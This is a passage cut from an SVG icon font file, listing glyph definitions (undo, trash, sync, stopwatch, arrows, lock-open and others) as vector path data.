7.90039 139.2 8 141.8c3.2998 20.7998 44.7002 20.7998 47.9004 0 +c0.199219 -2.7002 6.59961 -116.5 8 -141.8c0.899414 -3.2002 14.7998 -3.40039 16 0v141.2c2.59961 21.5996 44.7998 21.3994 48 1.09961zM327.1 147.1c-156.5 122.4 -17.5996 300.9 64.9004 300.9c13.2998 0 24 -10.7998 24 -24v-464c0 -13.2998 -10.7002 -24 -24 -24h-56 +c-14 0 -25.0996 12 -23.9004 26z" /> + <glyph glyph-name="undo-alt" unicode="" +d="M255.545 440c136.809 0.245117 248.456 -111.193 248.455 -248.002c-0.000976562 -136.965 -111.034 -247.998 -248 -247.998c-63.9258 0 -122.202 24.1865 -166.178 63.9082c-5.11328 4.61816 -5.35449 12.5605 -0.482422 17.4326l39.6621 39.6621 +c4.46191 4.46094 11.625 4.71387 16.3682 0.552734c30.6328 -26.8779 69.5029 -41.5557 110.63 -41.5557c93.8164 0 167.236 75.9912 167.994 166.552c0.798828 95.4648 -77.0859 170.24 -169.484 169.442c-42.4287 -0.366211 -82.3662 -16.374 -113.229 -45.2734 +l41.75 -41.75c15.1191 -15.1201 4.41113 -40.9707 -16.9717 -40.9707h-134.059c-13.2549 0 -24 10.7451 -24 24v134.059c0 21.3828 25.8506 32.0908 40.9707 16.9707l35.7139 -35.7139c44.4229 42.4512 104.592 68.5654 170.86 68.6846z" /> + <glyph glyph-name="trash-alt" unicode="" horiz-adv-x="448" +d="M32 -16v336h384v-336c0 -26.4922 -21.5078 -48 -48 -48h-288c-26.4922 0 -48 21.5078 -48 48zM304 240v-224c0 -8.83105 7.16895 -16 16 -16s16 7.16895 16 16v224c0 8.83105 -7.16895 16 -16 16s-16 -7.16895 -16 -16zM208 240v-224c0 -8.83105 7.16895 -16 16 -16 +s16 7.16895 16 16v224c0 8.83105 -7.16895 16 -16 16s-16 -7.16895 -16 -16zM112 240v-224c0 -8.83105 7.16895 -16 16 -16s16 7.16895 16 16v224c0 8.83105 -7.16895 16 -16 16s-16 -7.16895 -16 -16zM432 416c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h120l9.40039 18.7002c3.85547 7.88574 11.9434 13.2998 21.3066 13.2998h0.0927734h114.3c0.00585938 0 -0.00195312 0.0234375 0.00390625 0.0234375 +c9.41113 0 17.5645 -5.42871 21.4961 -13.3232l9.40039 -18.7002h120z" /> + <glyph glyph-name="sync-alt" unicode="" +d="M370.72 314.72c-31.2617 29.2725 -71.832 45.3184 -114.872 45.2803c-77.458 -0.0683594 -144.328 -53.1777 -162.791 -126.85c-1.34375 -5.36328 -6.12207 -9.15039 -11.6504 -9.15039h-57.3037c-7.49707 0 -13.1934 6.80664 -11.8066 14.1758 +c21.6367 114.9 122.518 201.824 243.704 201.824c66.4482 0 126.791 -26.1357 171.315 -68.6846l35.7148 35.7148c15.1191 15.1191 40.9697 4.41113 40.9697 -16.9717v-134.059c0 -13.2549 -10.7451 -24 -24 -24h-134.059c-21.3828 0 -32.0908 25.8506 -16.9717 40.9707z +M32 152h134.059c21.3828 0 32.0908 -25.8506 16.9717 -40.9707l-41.75 -41.75c31.2617 -29.2734 71.835 -45.3193 114.876 -45.2803c77.418 0.0703125 144.314 53.1436 162.787 126.849c1.34375 5.36328 6.12207 9.15039 11.6504 9.15039h57.3047 +c7.49805 0 13.1934 -6.80664 11.8066 -14.1758c-21.6377 -114.898 -122.519 -201.822 -243.705 -201.822c-66.4482 0 -126.791 26.1357 -171.315 68.6846l-35.7148 -35.7148c-15.1191 -15.1191 -40.9697 -4.41113 -40.9697 16.9717v134.059c0 13.2549 10.7451 24 24 24z" /> + <glyph glyph-name="stopwatch" unicode="" horiz-adv-x="448" +d="M432 144c0 -114.9 -93.0996 -208 -208 -208s-208 93.0996 -208 208c0 104 76.2998 190.2 176 205.5v34.5h-28c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h120c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-28v-34.5 +c37.5 -5.7998 71.7002 -21.5996 99.7002 -44.5996l27.5 27.5c4.7002 4.69922 12.2998 4.69922 17 0l28.2998 -28.3008c4.7002 -4.69922 4.7002 -12.2998 0 -17l-29.4004 -29.3994l-0.599609 -0.600586c21.2002 -32.3994 33.5 -71.2998 33.5 -113.1zM256 108v151.5 +c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-151.5c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12z" /> + <glyph glyph-name="sign-out-alt" unicode="" +d="M497 175l-168 -168c-15 -15 -41 -4.5 -41 17v96h-136c-13.2998 0 -24 10.7002 -24 24v96c0 13.2998 10.7002 24 24 24h136v96c0 21.4004 25.9004 32 41 17l168 -168c9.2998 -9.40039 9.2998 -24.5996 0 -34zM192 12c0 -6.59961 -5.40039 -12 -12 -12h-84 +c-53 0 -96 43 -96 96v192c0 53 43 96 96 96h84c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-84c-17.7002 0 -32 -14.2998 -32 -32v-192c0 -17.7002 14.2998 -32 32 -32h84c6.59961 0 12 -5.40039 12 -12v-40z" /> + <glyph glyph-name="sign-in-alt" unicode="" +d="M416 0h-84c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h84c17.7002 0 32 14.2998 32 32v192c0 17.7002 -14.2998 32 -32 32h-84c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h84c53 0 96 -43 96 -96v-192c0 -53 -43 -96 -96 -96z +M369 201c9.2998 -9.40039 9.2998 -24.5996 0 -34l-168 -168c-15 -15 -41 -4.5 -41 17v96h-136c-13.2998 0 -24 10.7002 -24 24v96c0 13.2998 10.7002 24 24 24h136v96c0 21.5 26 32 41 17z" /> + <glyph glyph-name="redo-alt" unicode="" +d="M256.455 440c66.2686 -0.119141 126.437 -26.2334 170.859 -68.6846l35.7148 35.7148c15.1201 15.1191 40.9707 4.41113 40.9707 -16.9717v-134.059c0 -13.2549 -10.7451 -24 -24 -24h-134.059c-21.3828 0 -32.0908 25.8506 -16.9717 40.9707l41.75 41.75 +c-30.8633 28.8994 -70.8008 44.9072 -113.229 45.2734c-92.3984 0.797852 -170.283 -73.9775 -169.484 -169.442c0.757812 -90.5605 74.1777 -166.552 167.994 -166.552c41.127 0 79.9971 14.6777 110.629 41.5557c4.74316 4.16113 11.9062 3.9082 16.3682 -0.552734 +l39.6621 -39.6621c4.87207 -4.87207 4.63086 -12.8145 -0.482422 -17.4326c-43.9746 -39.7217 -102.251 -63.9082 -166.177 -63.9082c-136.966 0 -247.999 111.033 -248 247.998c-0.000976562 136.809 111.646 248.247 248.455 248.002z" /> + <glyph glyph-name="poo" unicode="" +d="M451.4 78.9004c34.2998 -5.5 60.5996 -35 60.5996 -70.9004c0 -39.7998 -32.2002 -72 -72 -72h-368c-39.7998 0 -72 32.2002 -72 72c0 35.9004 26.2998 65.4004 60.5996 70.9004c-17.2998 13.0996 -28.5996 33.6992 -28.5996 57.0996c0 39.7998 32.2002 72 72 72h14.0996 +c-13.3994 11.7002 -22.0996 28.7998 -22.0996 48c0 35.2998 28.7002 64 64 64h16c44.2002 0 80 35.7998 80 80c0 17.4004 -5.7002 33.4004 -15.0996 46.5c4.89941 0.799805 9.89941 1.5 15.0996 1.5c53 0 96 -43 96 -96c0 -11.2998 -2.2998 -21.9004 -5.90039 -32h5.90039 +c35.2998 0 64 -28.7002 64 -64c0 -19.2002 -8.7002 -36.2998 -22.0996 -48h14.0996c39.7998 0 72 -32.2002 72 -72c0 -23.4004 -11.2998 -44 -28.5996 -57.0996zM192 192c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32z +M351.5 53c2 5.2998 -2 11 -7.7998 11h-175.4c-5.7998 0 -9.7998 -5.7002 -7.7998 -11c10.5 -27.9004 58.5 -53 95.5 -53s85 25.0996 95.5 53zM320 128c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="images" unicode="" horiz-adv-x="576" +d="M480 32v-16c0 -26.5098 -21.4902 -48 -48 -48h-384c-26.5098 0 -48 21.4902 -48 48v256c0 26.5098 21.4902 48 48 48h16v-208c0 -44.1123 35.8877 -80 80 -80h336zM576 112c0 -26.5098 -21.4902 -48 -48 -48h-384c-26.5098 0 -48 21.4902 -48 48v256 +c0 26.5098 21.4902 48 48 48h384c26.5098 0 48 -21.4902 48 -48v-256zM256 320c0 26.5098 -21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48zM160 176v-48h352v112l-87.5137 87.5146c-4.6875 4.68652 -12.2852 4.68652 -16.9717 0 +l-135.515 -135.515l-39.5137 39.5146c-4.6875 4.68652 -12.2852 4.68652 -16.9717 0z" /> + <glyph glyph-name="pencil-alt" unicode="" +d="M497.9 305.9l-46.1006 -46.1006c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-111 111c-4.7002 4.7002 -4.7002 12.2998 0 17l46.1006 46.1006c18.6992 18.6992 49.0996 18.6992 67.8994 0l60.1006 -60.1006c18.7998 -18.7002 18.7998 -49.0996 0 -67.8994zM284.2 348.2 +c4.7002 4.7002 12.2998 4.7002 17.0996 0l111 -111c4.7002 -4.7002 4.7002 -12.2998 0 -17l-262.6 -262.601l-121.5 -21.2998c-16.4004 -2.7998 -30.7002 11.4004 -27.7998 27.7998l21.1992 121.5zM124.1 108.1c5.5 -5.5 14.3008 -5.5 19.8008 0l154 154 +c5.5 5.5 5.5 14.3008 0 19.8008s-14.3008 5.5 -19.8008 0l-154 -154c-5.5 -5.5 -5.5 -14.3008 0 -19.8008zM88 24v48h-36.2998l-11.2998 -64.5l31.0996 -31.0996l64.5 11.2998v36.2998h-48z" /> + <glyph glyph-name="pen" unicode="" +d="M290.74 354.76l128.02 -128.02l-277.99 -277.99l-114.14 -12.5996c-15.2803 -1.69043 -28.1895 11.2295 -26.4902 26.5098l12.7002 114.22zM497.94 373.82c18.75 -18.75 18.75 -49.1504 0 -67.9102l-56.5508 -56.5498l-128.02 128.02l56.5498 56.5498 +c18.75 18.75 49.1602 18.75 67.9102 0z" /> + <glyph glyph-name="pen-alt" unicode="" +d="M497.94 373.83c18.75 -18.7598 18.75 -49.1602 0 -67.9102l-56.5508 -56.5498l-128.02 128.02l56.5498 56.5508c18.75 18.75 49.1602 18.75 67.9102 0zM251.14 394.36l84.8506 -84.8506l82.7695 -82.7695l-196.79 -196.79 +c-51.1611 -51.1592 -119.559 -85.4326 -195.34 -93.7998c-15.2803 -1.69043 -28.1895 11.2295 -26.4902 26.5098l0.0302734 0.229492c8.42188 75.6777 42.6777 143.978 93.7803 195.08l151.56 151.55l-22.6299 22.6201l-101.82 -101.819 +c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-22.6299 22.6299c-6.25 6.24023 -6.25 16.3701 0 22.6201l118.78 118.79c15.6201 15.6201 40.9395 15.6201 56.5596 0z" /> + <glyph glyph-name="long-arrow-alt-down" unicode="" horiz-adv-x="256" +d="M168 102.059h46.0576c21.3828 0 32.0908 -25.8516 16.9717 -40.9707l-86.0596 -86.0586c-9.37207 -9.37305 -24.5674 -9.37305 -33.9404 0l-86.0596 86.0586c-15.1191 15.1201 -4.41113 40.9707 16.9717 40.9707h46.0586v301.941c0 6.62695 5.37305 12 12 12h56 +c6.62695 0 12 -5.37305 12 -12v-301.941z" /> + <glyph glyph-name="long-arrow-alt-left" unicode="" horiz-adv-x="448" +d="M134.059 152v-46.0576c0 -21.3828 -25.8516 -32.0908 -40.9707 -16.9717l-86.0586 86.0596c-9.37305 9.37207 -9.37305 24.5674 0 33.9404l86.0586 86.0596c15.1201 15.1191 40.9707 4.41113 40.9707 -16.9717v-46.0586h301.941c6.62695 0 12 -5.37305 12 -12v-56 +c0 -6.62695 -5.37305 -12 -12 -12h-301.941z" /> + <glyph glyph-name="long-arrow-alt-right" unicode="" horiz-adv-x="448" +d="M313.941 232v46.0576c0 21.3828 25.8516 32.0908 40.9707 16.9717l86.0586 -86.0596c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404l-86.0586 -86.0596c-15.1201 -15.1191 -40.9707 -4.41113 -40.9707 16.9717v46.0586h-301.941c-6.62695 0 -12 5.37305 -12 12v56 +c0 6.62695 5.37305 12 12 12h301.941z" /> + <glyph glyph-name="long-arrow-alt-up" unicode="" horiz-adv-x="256" +d="M88 281.941h-46.0576c-21.3828 0 -32.0908 25.8516 -16.9717 40.9707l86.0596 86.0586c9.37207 9.37305 24.5674 9.37305 33.9404 0l86.0596 -86.0586c15.1191 -15.1201 4.41113 -40.9707 -16.9717 -40.9707h-46.0586v-301.941c0 -6.62695 -5.37305 -12 -12 -12h-56 +c-6.62695 0 -12 5.37305 -12 12v301.941z" /> + <glyph glyph-name="expand-arrows-alt" unicode="" horiz-adv-x="448" +d="M448 104v-112v-0.0615234c0 -13.2129 -10.7275 -23.9395 -23.9395 -23.9395c-0.0205078 0 -0.0400391 0.000976562 -0.0605469 0.000976562h-112c-21.3896 0 -32.0898 25.9004 -17 41l36.2002 36.2002l-107.2 107.2l-107.23 -107.301l36.2305 -36.0996 +c15.0898 -15.0996 4.38965 -41 -17 -41h-112h-0.0615234c-13.2129 0 -23.9395 10.7275 -23.9395 23.9395c0 0.0205078 0.000976562 0.0400391 0.000976562 0.0605469v112c0 21.4004 25.8896 32.0996 41 17l36.1904 -36.2002l107.27 107.2l-107.28 107.3l-36.1797 -36.2998 +c-15.0996 -15.0996 -41 -4.40039 -41 17v112v0.0615234c0 13.2129 10.7275 23.9395 23.9395 23.9395c0.0205078 0 0.0400391 -0.000976562 0.0605469 -0.000976562h112c21.3896 0 32.0898 -25.9004 17 -41l-36.2002 -36.2002l107.2 -107.2l107.23 107.301l-36.2305 36.0996 +c-15.0898 15.0996 -4.38965 41 17 41h112h0.0615234c13.2129 0 23.9395 -10.7275 23.9395 -23.9395c0 -0.0205078 -0.000976562 -0.0400391 -0.000976562 -0.0605469v-112c0 -21.4004 -25.8896 -32.0996 -41 -17l-36.1904 36.2002l-107.27 -107.2l107.28 -107.3 +l36.1797 36.2002c15.0996 15.1992 41 4.5 41 -16.9004z" /> + <glyph glyph-name="clipboard" unicode="" horiz-adv-x="384" +d="M384 336v-352c0 -26.5098 -21.4902 -48 -48 -48h-288c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h80c0 35.29 28.71 64 64 64s64 -28.71 64 -64h80c26.5098 0 48 -21.4902 48 -48zM192 408c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24 +s24 10.7451 24 24s-10.7451 24 -24 24zM288 294v20c0 3.31152 -2.68848 6 -6 6h-180c-3.31152 0 -6 -2.68848 -6 -6v-20c0 -3.31152 2.68848 -6 6 -6h180c3.31152 0 6 2.68848 6 6z" /> + <glyph glyph-name="arrows-alt-h" unicode="" +d="M377.941 278.059c0 21.3828 25.8516 32.0908 40.9707 16.9707l86.0586 -86.0596c9.37305 -9.37305 9.37305 -24.5674 0 -33.9404l-86.0586 -86.0596c-15.1201 -15.1191 -40.9707 -4.41113 -40.9707 16.9717v46.0586h-243.883v-46.0576 +c0 -21.3828 -25.8516 -32.0908 -40.9707 -16.9717l-86.0586 86.0596c-9.37305 9.37305 -9.37305 24.5674 0 33.9404l86.0586 86.0596c15.1201 15.1191 40.9707 4.41113 40.9707 -16.9717v-46.0586h243.883v46.0586z" /> + <glyph glyph-name="arrows-alt-v" unicode="" horiz-adv-x="256" +d="M214.059 70.0586c21.3828 0 32.0908 -25.8516 16.9707 -40.9707l-86.0596 -86.0586c-9.37305 -9.37305 -24.5674 -9.37305 -33.9404 0l-86.0596 86.0586c-15.1191 15.1201 -4.41113 40.9707 16.9717 40.9707h46.0586v243.883h-46.0576 +c-21.3828 0 -32.0908 25.8516 -16.9717 40.9707l86.0596 86.0586c9.37305 9.37305 24.5674 9.37305 33.9404 0l86.0596 -86.0586c15.1191 -15.1201 4.41113 -40.9707 -16.9717 -40.9707h-46.0586v-243.883h46.0586z" /> + <glyph glyph-name="arrow-alt-circle-down" unicode="" +d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM212 308v-116h-70.9004c-10.6992 0 -16.0996 -13 -8.5 -20.5l114.9 -114.3c4.7002 -4.7002 12.2002 -4.7002 16.9004 0l114.899 114.3c7.60059 7.59961 2.2002 20.5 -8.5 20.5 +h-70.7998v116c0 6.59961 -5.40039 12 -12 12h-64c-6.59961 0 -12 -5.40039 -12 -12z" /> + <glyph glyph-name="arrow-alt-circle-left" unicode="" +d="M256 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM372 236h-116v70.9004c0 10.6992 -13 16.0996 -20.5 8.5l-114.3 -114.9c-4.7002 -4.7002 -4.7002 -12.2002 0 -16.9004l114.3 -114.899 +c7.59961 -7.60059 20.5 -2.2002 20.5 8.5v70.7998h116c6.59961 0 12 5.40039 12 12v64c0 6.59961 -5.40039 12 -12 12z" /> + <glyph glyph-name="arrow-alt-circle-right" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM140 148h116v-70.9004c0 -10.6992 13 -16.0996 20.5 -8.5l114.3 114.9c4.7002 4.7002 4.7002 12.2002 0 16.9004l-114.3 115c-7.59961 7.59961 -20.5 2.19922 -20.5 -8.5 +v-70.9004h-116c-6.59961 0 -12 -5.40039 -12 -12v-64c0 -6.59961 5.40039 -12 12 -12z" /> + <glyph glyph-name="arrow-alt-circle-up" unicode="" +d="M8 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM300 76v116h70.9004c10.6992 0 16.0996 13 8.5 20.5l-114.9 114.3c-4.7002 4.7002 -12.2002 4.7002 -16.9004 0l-115 -114.3c-7.59961 -7.59961 -2.19922 -20.5 8.5 -20.5 +h70.9004v-116c0 -6.59961 5.40039 -12 12 -12h64c6.59961 0 12 5.40039 12 12z" /> + <glyph glyph-name="external-link-alt" unicode="" +d="M432 128c8.83105 0 16 -7.16895 16 -16v-128c0 -26.4922 -21.5078 -48 -48 -48h-352c-26.4922 0 -48 21.5078 -48 48v352c0 26.4922 21.5078 48 48 48h160c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-144v-320h320v112 +c0 8.83105 7.16895 16 16 16h32zM488 448c13.2461 0 24 -10.7539 24 -24v-128c0 -21.5 -26 -32 -41 -17l-35.7197 35.6797l-243.61 -243.68c-4.34668 -4.36133 -10.3652 -7.0625 -17.0029 -7.0625s-12.6504 2.70117 -16.9971 7.0625l-22.6699 22.6299 +c-4.36133 4.34668 -7.0625 10.3652 -7.0625 17.0029c0 6.63867 2.70117 12.6504 7.0625 16.9971l243.73 243.64l-35.7305 35.7305c-15.0498 15.0898 -4.37012 41 17 41h128z" /> + <glyph glyph-name="external-link-square-alt" unicode="" horiz-adv-x="448" +d="M448 368v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48zM360 352h-111.971c-21.3135 0 -32.0801 -25.8613 -16.9717 -40.9707l31.9844 -31.9873l-195.527 -195.527 +c-4.68555 -4.68555 -4.68555 -12.2832 0 -16.9707l31.0293 -31.0293c4.6875 -4.68555 12.2852 -4.68555 16.9707 0l195.526 195.526l31.9883 -31.9912c15.0283 -15.0264 40.9707 -4.47461 40.9707 16.9717v111.979c0 13.2549 -10.7451 24 -24 24z" /> + <glyph glyph-name="exchange-alt" unicode="" +d="M0 280v16c0 13.2549 10.7451 24 24 24h360v48c0 21.3672 25.8994 32.042 40.9707 16.9707l80 -80c9.37207 -9.37305 9.37207 -24.5684 0 -33.9404l-80 -80c-15.0146 -15.0127 -40.9707 -4.48633 -40.9707 16.9697v48h-360c-13.2549 0 -24 10.7451 -24 24zM488 128 +c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-360v-48c0 -21.4365 -25.9434 -31.9971 -40.9707 -16.9697l-80 80c-9.37207 9.37207 -9.37207 24.5674 0 33.9404l80 80c15.1084 15.1094 40.9707 4.34375 40.9707 -16.9707v-48h360z" /> + <glyph glyph-name="cloud-download-alt" unicode="" horiz-adv-x="640" +d="M537.6 221.4c58.4004 -11.8008 102.4 -63.5 102.4 -125.4c0 -70.7002 -57.2998 -128 -128 -128h-368c-79.5 0 -144 64.5 -144 144c0 62.7998 40.2002 116.2 96.2002 135.9c-0.100586 2.69922 -0.200195 5.39941 -0.200195 8.09961c0 88.4004 71.5996 160 160 160 +c59.2998 0 111 -32.2002 138.7 -80.2002c15.2002 10.2002 33.5996 16.2002 53.2998 16.2002c53 0 96 -43 96 -96c0 -12.2002 -2.2998 -23.9004 -6.40039 -34.5996zM404.7 132.7c10.0996 10.0996 2.89941 27.2998 -11.2998 27.2998h-65.4004v112c0 8.7998 -7.2002 16 -16 16 +h-48c-8.7998 0 -16 -7.2002 -16 -16v-112h-65.4004c-14.1992 0 -21.3994 -17.2002 -11.2998 -27.2998l105.4 -105.4c6.2002 -6.2002 16.3994 -6.2002 22.5996 0z" /> + <glyph glyph-name="cloud-upload-alt" unicode="" horiz-adv-x="640" +d="M537.6 221.4c58.4004 -11.8008 102.4 -63.5 102.4 -125.4c0 -70.7002 -57.2998 -128 -128 -128h-368c-79.5 0 -144 64.5 -144 144c0 62.7998 40.2002 116.2 96.2002 135.9c-0.100586 2.69922 -0.200195 5.39941 -0.200195 8.09961c0 88.4004 71.5996 160 160 160 +c59.2998 0 111 -32.2002 138.7 -80.2002c15.2002 10.2002 33.5996 16.2002 53.2998 16.2002c53 0 96 -43 96 -96c0 -12.2002 -2.2998 -23.9004 -6.40039 -34.5996zM393.4 160c14.1992 0 21.3994 17.2002 11.2998 27.2998l-105.4 105.4 +c-6.2002 6.2002 -16.3994 6.2002 -22.5996 0l-105.4 -105.4c-10.0996 -10.0996 -3 -27.2998 11.2998 -27.2998h65.4004v-112c0 -8.7998 7.2002 -16 16 -16h48c8.7998 0 16 7.2002 16 16v112h65.4004z" /> + <glyph glyph-name="gem" unicode="" horiz-adv-x="576" +d="M485.5 448l90.5 -160h-101.1l-69.2002 160h79.7998zM357.5 448l69.2002 -160h-277.4l69.2002 160h139zM90.5 448h79.7998l-69.2002 -160h-101.1zM0 256h100.7l123 -251.7c1.5 -3.09961 -2.7002 -5.89941 -5 -3.2998zM148.2 256h279.6l-137 -318.2 +c-1 -2.39941 -4.5 -2.39941 -5.5 0zM352.3 4.2998l123 251.7h100.7l-218.7 -254.9c-2.2998 -2.69922 -6.5 0.100586 -5 3.2002z" /> + <glyph glyph-name="level-down-alt" unicode="" horiz-adv-x="320" +d="M313.553 55.6689l-103.966 -112.003c-9.48535 -10.2139 -25.6758 -10.2295 -35.1738 0l-103.975 112.003c-14.2061 15.2998 -3.37695 40.3311 17.5869 40.3311h63.9746v272h-83.9756c-3.31152 0 -6.31348 1.34277 -8.48535 3.51465l-56 56 +c-7.56055 7.55957 -2.20605 20.4854 8.48535 20.4854h195.976c13.2549 0 24 -10.7451 24 -24v-328h63.9658c20.8779 0 31.8516 -24.9688 17.5869 -40.3311z" /> + <glyph glyph-name="level-up-alt" unicode="" horiz-adv-x="320" +d="M313.553 328.331c14.2646 -15.3623 3.29102 -40.3311 -17.5869 -40.3311h-63.9658v-328c0 -13.2549 -10.7451 -24 -24 -24h-195.976c-10.6914 0 -16.0459 12.9258 -8.48535 20.4854l56 56c2.17188 2.17188 5.17383 3.51465 8.48535 3.51465h83.9756v272h-63.9746 +c-20.9639 0 -31.793 25.0312 -17.5869 40.3311l103.975 112.003c9.49805 10.2295 25.6885 10.2139 35.1738 0z" /> + <glyph glyph-name="lock-open" unicode="" horiz-adv-x="576" +d="M423.5 448c84 0.299805 152.5 -68 152.5 -152v-80c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v80c0 39.9004 -32.7002 72.4004 -72.7002 72c-39.5996 -0.400391 -71.2998 -33.2998 -71.2998 -72.9004v-71.0996h48c26.5 0 48 -21.5 48 -48v-192 +c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v192c0 26.5 21.5 48 48 48h224v70.5c0 84 67.5 153.2 151.5 153.5z" /> + <glyph glyph-name="map-marker-alt" unicode="" horiz-adv-x="384" +d="M172.268 -53.6699c-145.298 210.639 -172.268 232.257 -172.268 309.67c0 106.039 85.9609 192 192 192s192 -85.9609 192 -192c0 -77.4131 -26.9697 -99.0312 -172.268 -309.67c-9.53516 -13.7744 -29.9307 -13.7734 -39.4648 0zM192 176c44.1826 0 80 35.8174 80 80 +s-35.8174 80 -80 80s-80 -35.8174 -80 -80s35.8174 -80 80 -80z" /> + <glyph glyph-name="microphone-alt" unicode="" horiz-adv-x="352" +d="M336 256c8.83984 0 16 -7.16016 16 -16v-48c0 -88.9004 -66.29 -162.47 -152 -174.23v-33.7695h56c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-160c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h56v34.1504 +c-88.0303 12.1396 -152 92.0498 -152 181.689v40.1602c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-42.2998c0 -66.8105 48.71 -126.59 115.21 -133.08c76.2998 -7.44043 140.79 52.5801 140.79 127.38v48c0 8.83984 7.16016 16 16 16h16zM176 96 +c-53.0195 0 -96 42.9805 -96 96v160c0 53.0195 42.9805 96 96 96s96 -42.9805 96 -96h-85.3301c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16c0 -4.41992 4.78027 -8 10.6699 -8h85.3301v-32h-85.3301c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16 +c0 -4.41992 4.78027 -8 10.6699 -8h85.3301v-32h-85.3301c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16c0 -4.41992 4.78027 -8 10.6699 -8h85.3301c0 -53.0195 -42.9805 -96 -96 -96z" /> + <glyph glyph-name="mobile-alt" unicode="" horiz-adv-x="320" +d="M272 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-224c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h224zM160 -32c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM272 76v312 +c0 6.59961 -5.40039 12 -12 12h-200c-6.59961 0 -12 -5.40039 -12 -12v-312c0 -6.59961 5.40039 -12 12 -12h200c6.59961 0 12 5.40039 12 12z" /> + <glyph glyph-name="money-bill-alt" unicode="" horiz-adv-x="640" +d="M352 160c4.41992 0 8 -3.58008 8 -8v-16c0 -4.41992 -3.58008 -8 -8 -8h-64c-4.41992 0 -8 3.58008 -8 8v16c0 4.41992 3.58008 8 8 8h16v55.4404l-0.469727 -0.310547c-1.26855 -0.845703 -2.79395 -1.35156 -4.43164 -1.35156 +c-2.77734 0 -5.22559 1.41895 -6.6582 3.57129l-8.88086 13.3105c-0.845703 1.26758 -1.35156 2.79395 -1.35156 4.43066c0 2.77734 1.41992 5.22656 3.57227 6.65918l15.3301 10.2197c3.93945 2.62988 8.56934 4.03027 13.3096 4.03027h13.5801c4.41992 0 8 -3.58008 8 -8 +v-88h16zM608 384c17.6699 0 32 -14.3301 32 -32v-320c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v320c0 17.6699 14.3301 32 32 32h576zM48 48h64c0 35.3496 -28.6504 64 -64 64v-64zM48 272c35.3496 0 64 28.6504 64 64h-64v-64zM320 80 +c53 0 96 50.1299 96 112c0 61.8604 -42.9805 112 -96 112s-96 -50.1396 -96 -112c0 -61.8496 42.9805 -112 96 -112zM592 48v64c-35.3496 0 -64 -28.6504 -64 -64h64zM592 272v64h-64c0 -35.3496 28.6504 -64 64 -64z" /> + <glyph glyph-name="phone-slash" unicode="" horiz-adv-x="640" +d="M268.2 66.5996c11.5 5.40039 22.7002 11.6006 33.5996 18.1006l80 -61.7998c-76 -54.5 -169 -86.9004 -269.7 -86.9004c-11.2998 0 -20.8994 7.7998 -23.3994 18.5996l-24 104c-2.60059 11.4004 3.2002 22.9004 13.8994 27.5l112 48 +c9.80078 4.2002 21.2002 1.40039 28 -6.89941zM633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.90039 -22.3008l-19.6006 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-588.399 454.7c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002 +c5.5 7 15.5 8.2002 22.5 2.7998l353.9 -273.5c18.0996 22.5 33.7998 46.7002 46 72.8008l-60.6006 49.5996c-8.2998 6.7002 -11.0996 18.2002 -6.89941 28l48 112c4.59961 10.5996 16.1992 16.5 27.5 13.9004l104 -24c10.8994 -2.5 18.5996 -12.2002 18.5996 -23.4004 +c0 -108.9 -38.0996 -208.4 -100.9 -287.5z" /> + <glyph glyph-name="portrait" unicode="" horiz-adv-x="384" +d="M336 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h288zM192 320c-35.2998 